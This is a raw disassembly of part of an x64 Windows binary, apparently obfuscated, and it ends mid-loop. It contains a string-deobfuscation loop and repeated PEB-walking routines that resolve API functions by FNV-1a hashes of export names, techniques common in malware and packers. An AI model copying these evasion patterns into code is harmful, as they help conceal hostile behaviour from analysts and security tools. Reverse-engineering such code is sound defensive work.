mov dword [rsp + 0x60], 1
lea rcx, [rbp + 0x90]
call fcn.14006fbe0
test al, al
jne 0x140103982
mov dword [rbp - 0x10], 0x58a8a254
mov dword [rbp - 0xc], 0x5b5ba8af
mov dword [rbp - 8], 0x44b84610
mov byte [rbp - 4], Ordinal_35
xor eax, eax
mov qword [rbp - 3], rax
mov dword [rbp + 5], eax
mov word [rbp + 9], ax
mov byte [rbp + 0xb], al
mov r14b, Ordinal_41
mov bl, byte [rsp + 0x70]
call fcn.140141d74
mov rdi, qword [rax]
call fcn.140141d7c
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x1c
jae 0x14010394e
movzx r9d, byte [rbp + r11 - 0x10]
mov edx, r9d
mov esi, 9
cmp rdi, r11
ja 0x140103945
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140102fd2
movabs rcx, 0x8c0ae5dd4bd5cd27
add rcx, r11
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x11
jmp 0x140102fff
je 0x1401038d7
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010386b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140103843
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140103828
mov r8b, r11b
cmp r10, r11
ja 0x14010393c
lea rcx, [r10 + 6]
cmp rdi, rcx
jae 0x14010302a
lea ecx, [r8 + 0x33]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x65
jmp 0x140103067
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401037f4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401037dc
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401037c4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401037a9
cmp rdi, rcx
je 0x14010378e
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x140103514
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x1401034fb
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401034e0
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x1401034d2
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401034b5
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140103496
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140103477
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010345e
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140103443
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140103428
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140103074
lea rdi, [r10 + 2]
lea r10, [rdi + 0xa]
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140103921
lea rcx, [r10 + 0x41]
cmp rdi, rcx
jb 0x140103906
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140103267
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14010324e
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140103235
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x1401033e3
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401033a2
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140103369
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140103349
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140103074
mov rdi, rcx
lea r10, [rcx + 0x42]
lea rax, [r10 + 0x61]
cmp rcx, rax
ja 0x14010332f
lea rcx, [r10 + 0x400]
cmp rdi, rcx
ja 0x140103314
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401032fb
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x1401032e0
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401032d2
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401032c4
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1401032b6
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14010329b
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140103282
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140103074
mov rdi, rcx
lea r10, [rcx + 0x10]
jmp 0x140103074
lea ecx, [r8 + 0x2d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3b
jmp 0x140103067
lea ecx, [r8 - 0x21]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x19
jmp 0x140103002
sub r8b, 0x6f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, sil
jmp 0x140102f9e
lea ecx, [r8 - 0x68]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r14b
jmp 0x140103808
add r8b, 0x4a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 6
jmp 0x140103823
sub r8b, 4
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401035dd
lea edx, [r8 - 0x52]
mov ecx, Ordinal_33
jmp 0x1401034be
add r8b, 0x60
mov ecx, Ordinal_50
jmp 0x14010349f
add r8b, 0x12
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x7e
jmp 0x14010385a
lea ecx, [r8 - 0x3c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5c
jmp 0x140103889
add r8b, 0x76
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x3a
jmp 0x1401038b1
add r8b, r14b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x18
jmp 0x1401038f2
add r8b, 0x65
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x3d
mov byte [rbp + r11 - 0x10], bl
jmp 0x1401038fe
lea ecx, [r8 + 0x17]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x5f
cmp r10, 3
jb 0x14010335f
lea ecx, [r8 - 0x76]
mov al, cl
and al, r9b
mov edx, Ordinal_33
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x140103808
lea ecx, [r8 - 0x37]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7f
cmp rdi, 0x41
jae 0x14010373f
lea rax, [r10 + 0x42]
cmp rdi, rax
jbe 0x1401036d2
lea ecx, [r8 + 0x7e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
jmp 0x14010337d
lea ecx, [r8 + 0x7b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5d
lea rax, [r10 + rdi]
cmp rax, 2
je 0x140103779
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14010361d
lea ecx, [r8 + 0x4b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xd
jmp 0x1401033b6
add r8b, 0x32
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5e
jmp 0x1401038f2
sub r8b, 0x1c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x3c
jmp 0x1401038b1
lea ecx, [r8 - 0x6a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1a
jmp 0x140103889
add r8b, 0x48
mov ecx, 4
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14010385a
sub r8b, 6
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140103857
lea edx, [r8 - 0x54]
mov ecx, Ordinal_41
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140103757
add r8b, 0x5e
mov ecx, gethostname
jmp 0x1401035dd
add r8b, 0x10
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x70
jmp 0x140103823
lea ecx, [r8 - 0x3e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4e
jmp 0x140103808
lea rax, [r10 + 0x1000]
cmp rdi, rax
jae 0x140103539
lea ecx, [r8 + 0x27]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x11
jmp 0x1401033f7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140103561
add r8b, 0x66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x1401038f2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140103583
lea ecx, [r8 + 2]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xe
jmp 0x140103889
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401035a7
add r8b, 0x50
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x30
jmp 0x14010385a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401035cb
sub r8b, 0x62
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x52
jmp 0x140103857
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401035f3
add r8b, 0x3a
mov ecx, gethostname
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14010383b
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401033f7
lea edx, [r8 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140103808
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010363f
lea ecx, [r8 - 0x67]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2f
jmp 0x140103808
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140103663
add r8b, 0x35
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x73
jmp 0x14010383b
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140103687
sub r8b, 0x2f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x49
jmp 0x140103857
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401036ab
sub r8b, 0x45
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1d
jmp 0x1401038b1
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401033b6
add r8b, sil
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x3f
jmp 0x1401038f2
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401036e9
sub r8b, 0x34
mov ecx, gethostname
jmp 0x14010354b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140103700
sub r8b, 0x4a
mov ecx, 3
jmp 0x140103480
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140103724
add r8b, 4
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1c
jmp 0x140103857
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010337d
lea edx, [r8 + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140103609
mov dl, r8b
sub dl, r14b
mov al, dl
and al, r9b
mov cl, r9b
sub cl, al
add cl, 0xc
lea ebx, [rcx + rcx]
add bl, dl
dec r8b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
add r8b, 7
add r8b, r9b
add r8b, bl
mov byte [rbp + r11 - 0x10], r8b
jmp 0x140103857
lea ecx, [r8 + 0x26]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [rcx - 0xa]
jmp 0x140103889
sub r8b, 0xf
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x69
jmp 0x1401038f2
sub r8b, 0x5d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x75
jmp 0x1401038b1
add r8b, 7
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x31
jmp 0x14010385a
add r8b, 0x1d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x35
jmp 0x14010383b
lea ecx, [r8 - 0x7f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x79
sub r8b, 0x4f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
add r8b, 0x29
add r8b, r9b
mov byte [rbp + r11 - 0x10], r8b
inc r10
jmp 0x14010383b
lea ecx, [r11 + 0x49]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
inc bl
dec r11
jmp 0x1401038fe
lea ecx, [r11 - 0x53]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x45
add rdi, r10
movzx eax, bl
mov rcx, r15
sub rcx, rax
add r11, rcx
jmp 0x1401038fe
movabs rcx, 0xd44c490d12d89c11
add rcx, r11
and dl, cl
add dl, dl
mov bl, r9b
sub bl, dl
sub bl, 0x77
add bl, cl
mov r8b, r11b
add r8b, 0x4d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x1b
add r8b, r9b
movzx eax, r8b
mov byte [rbp + r11 - 0x10], al
inc r10
add rax, r10
sub r11, rax
lea ecx, [r11 + 0x74]
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x2c
add cl, r9b
mov byte [rbp + r11 - 0x10], cl
inc rdi
mov rax, r15
sub rax, rdi
add r11, rax
jmp 0x1401038f2
movabs rax, 0xa420b197e3816775
add rax, r11
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
sub bl, 0x33
movzx eax, byte [rbp + r11 - 0x10]
add rax, r10
add r11, rax
inc r11
jmp 0x140102f86
add r8b, 0x43
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x2b
jmp 0x140102f83
sub r8b, 0xb
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x4d
jmp 0x140102f73
lea rax, [rbp + 0x165d624]
jmp 0x140103952
lea rax, [rbp + 0xbba34b]
jmp 0x140103952
lea rax, [rbp - 0x10]
mov qword [rsp + 0x68], rax
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x70]
call fcn.1400db660
nop
mov dword [rsp + 0x60], 3
lea rcx, [rbp + 0x70]
call fcn.14006fbe0
test al, al
jne 0x140103982
xor edx, edx
jmp 0x140103987
mov edx, 1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
mov r15d, dword [rbp - 0x70]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140103a29
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140103a29
mov r9d, 9
mov esi, dword [rbp - 0x78]
jmp 0x140103a8b
imul ecx, r13d, 7
movsx eax, byte [reloc.WS2_32.dll_htons]
mov esi, dword [rbp - 0x78]
add ecx, esi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140103a86
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r13d
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140103a8b
mov r9d, dword [rsp + 0x78]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + r13*4]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
mov edi, eax
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub edi, ecx
imul edi, r9d
mov ebx, dword [rsp + 0x60]
test bl, 2
je 0x140103acc
and ebx, 0xfffffffd
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x70]
call fcn.1400560d0
nop
test bl, 1
je 0x140103ae4
and ebx, 0xfffffffe
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x90]
call fcn.1400560d0
test edi, edi
je 0x14010460f
lea edx, [r13*2]
add edx, r13d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140103c4b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x14034150c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140103bbf
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140103bbf
mov r9d, 9
jmp 0x140103c1e
imul ecx, r13d, 7
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, esi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140103c19
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r13d
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x140103c1e
mov r9d, dword [rsp + 0x78]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r13d
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140103c4b
call fcn.140137ae4
mov rdx, qword [0x140342ec8]
test rdx, rdx
jne 0x140103dad
xor ebx, ebx
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r10, r15
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x140103cc1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140103cb4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140103ca5
cmp edx, ebx
jne 0x140103d88
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140103d88
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140103d88
mov r12d, dword [r9 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov edi, 0x811c9dc5
jmp 0x140103d15
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140103d0a
cmp edi, esi
je 0x140103d29
test r11d, r11d
jne 0x140103cf5
jmp 0x140103d88
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x140103da0
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140103da0
mov eax, 0x811c9dc5
mov ebx, eax
mov esi, eax
jmp 0x140103d69
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140103d5b
jmp 0x140103d7c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140103d71
mov r10, qword [r15]
mov rax, qword [r10]
mov r10, rax
cmp rax, r15
je 0x140103d9e
cmp qword [rax + 0x30], 0
jne 0x140103c79
xor edx, edx
mov qword [0x140342ec8], rdx
mov r12d, 0xf84eee59
mov ecx, 0x99
call rdx
mov rbx, qword [0x140343000]
test rbx, rbx
jne 0x140103f0e
xor edi, edi
mov esi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r10, r15
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140103e28
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140103e1b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140103e0c
cmp edx, edi
jne 0x140103eef
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140103eef
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140103eef
mov r12d, dword [r9 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x140103e7c
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140103e71
cmp ebx, esi
je 0x140103e90
test r11d, r11d
jne 0x140103e5c
jmp 0x140103eef
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov ebx, dword [rdx + rcx*4]
add rbx, r8
cmp rbx, r9
jbe 0x140103f07
lea rcx, [rax + r9]
cmp rbx, rcx
jae 0x140103f07
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140103ed0
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140103ec2
jmp 0x140103ee3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140103ed8
mov r10, qword [r15]
mov rax, qword [r10]
mov r10, rax
cmp rax, r15
je 0x140103f05
cmp qword [rax + 0x30], 0
jne 0x140103de0
xor ebx, ebx
mov qword [0x140343000], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140342ff8]
test rdx, rdx
jne 0x140104077
xor ebx, ebx
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r10, r15
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x140103f91
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140103f84
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140103f75
cmp edx, ebx
jne 0x140104058
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x140104058
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140104058
mov r12d, dword [r9 + 0x20]
dec r11d
lea rcx, [r8 + r11*4]
mov edx, dword [rcx + r12]
add rdx, r8
mov edi, 0x811c9dc5
jmp 0x140103fe5
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140103fda
cmp edi, esi
je 0x140103ff9
test r11d, r11d
jne 0x140103fc5
jmp 0x140104058
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x140104070
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140104070
mov eax, 0x811c9dc5
mov ebx, eax
mov esi, eax
jmp 0x140104039
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010402b
jmp 0x14010404c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140104041
mov r10, qword [r15]
mov rax, qword [r10]
mov r10, rax
cmp rax, r15
je 0x14010406e
cmp qword [rax + 0x30], 0
jne 0x140103f49
xor edx, edx
mov qword [0x140342ff8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140342ff0]
test rdx, rdx
jne 0x1401041d7
xor ebx, ebx
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r10, r15
movups xmm0, xmmword [r10 + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x1401040f1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401040e4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401040d5
cmp edx, ebx
jne 0x1401041b8
mov r8, qword [r10 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r9d, eax
add r9, r8
shr rax, 0x20
cmp r9, r8
je 0x1401041b8
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1401041b8
mov r12d, dword [r9 + 0x20]
dec r11d
lea rcx, [r8 + r11*4]
mov edx, dword [rcx + r12]
add rdx, r8
mov edi, 0x811c9dc5
jmp 0x140104145
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14010413a
cmp edi, esi
je 0x140104159
test r11d, r11d
jne 0x140104125
jmp 0x1401041b8
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r11*2]
mov edx, dword [rdx + rcx*4]
add rdx, r8
cmp rdx, r9
jbe 0x1401041d0
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x1401041d0
mov eax, 0x811c9dc5
mov ebx, eax
mov esi, eax
jmp 0x140104199
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010418b
jmp 0x1401041ac
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401041a1
mov r10, qword [r15]
mov rax, qword [r10]
mov r10, rax
cmp rax, r15
je 0x1401041ce
cmp qword [rax + 0x30], 0
